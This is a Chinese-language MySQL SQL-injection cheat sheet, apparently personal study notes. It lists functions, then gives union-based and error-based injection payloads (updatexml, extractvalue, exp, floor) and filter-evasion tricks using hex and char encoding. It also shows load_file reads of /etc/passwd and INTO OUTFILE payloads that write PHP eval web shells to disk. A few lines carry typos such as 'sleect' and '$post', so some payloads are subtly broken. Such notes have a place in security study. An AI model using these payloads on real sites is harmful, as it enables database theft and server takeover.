information_schema表的构造
information_schema表存储了数据库、表、列的结构信息,要注意MYSQL5.0以上版本才有。
- SCHEMATA(schema_name)
- TABLES(table_schema,table_name)
- COLUMNS(table_schema,table_name,columns_name)
show databases;
show tables;
show tables from schemaname;
show columns from schemaname.tablename;
sql 函数
字符串截取
- mid(string,start,length)
- substr(string,start,length)
- left(string,length) 从左开始截取
- right(string,length) 从右开始截取
- substring_index(string,delim,count) 按照关键字截取字符串
select mid(version(),1,1);
select substr(version(),1,1);
select left(version(),1);
sleect right(version(),1);
select substring_index(version(),'.')
字符串转化
- ascii()
- ord()
- length()
- hex() 字符转换为16进制
系统函数
- version() 版本信息(5.0以上才有information_schema)
- user() 当前使用数据库用户名
- current_user()
- system_user()
- database() 当前数据库名
- @@datadir 数据库路径
- @@basedir
- @@version_compile_os
- database()
文件操作
- load_file
- into_Dumpfile
- into outfile
- load data infile
字符串拼接
- concat(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
mysql> SELECT CONCAT(’My’, ‘S’, ‘QL’);
-> ‘MySQL’
mysql> SELECT CONCAT(’My’, NULL, ‘QL’);
-> NULL
- concat_ws(',',str1,str2,str3)
concat_ws(';',user(),database(),version())
- group_concat(列名):会把一列中所有内容在一行中合并,每行用逗号隔开输出。
时间函数
- benchmark()
- sleep(1)
基本语法
- exist() 用于检查子查询是否会返回至少一行数据;
- order by
- limit : 限制查询的条数
select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开
#
limit n 等同于 limit 0,n
# 查询10条数据,索引从0到9,第1条记录到第10条记录
select * from t_user limit 10;
select * from t_user limit 0,10;
# 查询8条数据,索引从5到12,第6条记录到第13条记录
select * from t_user limit 5,8;
权限操作
# 文件权限
select File_priv from mysql.`user` WHERE user='root';
#
show global variables like "secure_file_priv";
secure_file_priv ='' # 允许导入导出
secure_file_priv = '/tmp' # 仅允许tmp目录
secure_file_priv= null # 不允许导入导出
注释方式
/**/ 多行注释,等于一个空格
单行注释
--+ 单行注释
# - 内联注释 /*! ... */
/*50001 select * from users*/;
SQL注入
注入步骤
手工判断是否存在注入点
1'
1'#
- and 1=1/ and 1=2
判断参数过滤机制
''
""
('')
("")
((""))
((''))
获取查询列数
- order by + 列数:当猜测的列数小于等于查询的列数时,查询结果正常显示。
- union select 1,2,3 逐个试错,如果正常的列数,查询结果正常显示。
判断页面第几位可以显示
union select 1,2,3,4,5
获取数据库名称
- union select database()
- union select 1,2,group_concat(schema_name) from information_schema.schemata--+
获取数据库表名称
- union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取数据列名称
- union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
获取数据
- union select 1,(select concat_ws(0x3a,username,password,role) from 'tablename' limit 0,1)
报错注入
报错注入使用场景
页面不显示返回的数据,但是前端能够显示sql语法的错误,从而带出真实数据。
报错注入分类
updatexml
- 格式:updataxml(xml_document,XPath_string,new_value)
- 用途:查找(XML_document文档中符合条件XPath_string的值并用new_value代替
- 报错原理:由于updatexml的第二个参数需要Xpath格式的字符串,而我们输入的是普通字符串且以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数也不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
union select 1,2,updatexml(1,concat('~',version(),'~'),1) --+
extractvalue
- extractvalue(XML_document, XPath_string):从目标XML_document中返回包含所查询XPath_string值的字符串。
-1' union select 1,2, extractvalue(1,concat('~',(select database())))--+
exp
- 版本不能大于5.5.53
- 原理:当传递大于709的值,函数exp()就会引起一个溢出错误。0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
union select 1,2,exp(~(select * from(select user())x))--+
floor
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);''
sql注入文件操作
读取数据
- load_file(file)函数
- 文件名称必须为绝对路径
- 用户必须有file权限
- 文件容量要小于max_allowed_packet字节
union select 1,2,load_file('/etc/passwd') --+
# 过滤单引号,可以将 /etc/passwd 转化为十六进制 0x2f6574632f706173737764
union select 1,2,load_file(0x2f6574632f706173737764) --+
# 或者使用char函数
union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) --+
写入数据
- into dumpfile 只能导出一行数据,并不常用,用于导出一条数据。
- into outfile <fields terminated by 'string'>
导入的个字段以string字符分割,string的位置也可以注入php代码
1')) union select 1,2,3 into outfile "/tmp/1.txt" --+
1')) union select 1,2,'<?php @eval($post["mima"])?>' into OUTFILE "/tmp/test.txt"--+
1')) union select 1,2,3 into OUTFILE "/tmp/test.txt" fields terminated by '<?php @eval($post["mima"])?>'--+
字符转化
如果遇到waf过滤了/ \等特殊字符,可以用char或hex转换
- char转换
- 16进制0x转换
union select 1,2, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) into outfile '/tmp/test'
union select 1,2,'0x3c3f706870206576616c28245f504f53545b636d645d293f3e' into outfile '/tmp/1.php' --+
文件权限
- File_priv
- secure_file_priv
select File_priv from mysql.`user` WHERE user='root';
show global variables like "secure_file_priv";
secure_file_priv ='' # 允许导入导出
secure_file_priv = '/tmp' # 仅允许tmp目录
secure_file_priv= null # 不允许导入导出
- secure_file_priv 不能为null,如果为null则不能导入导出文件
show varialbes like '%secure%' - 要知道网站的绝对路径
- gpc没有开启
- 导入文件需要文件可读,且小于max_allowed_packet
- 导出文件需要数据库用户有file权限,默认只有root有
- 导出文件需要mysql用户对路径有写权限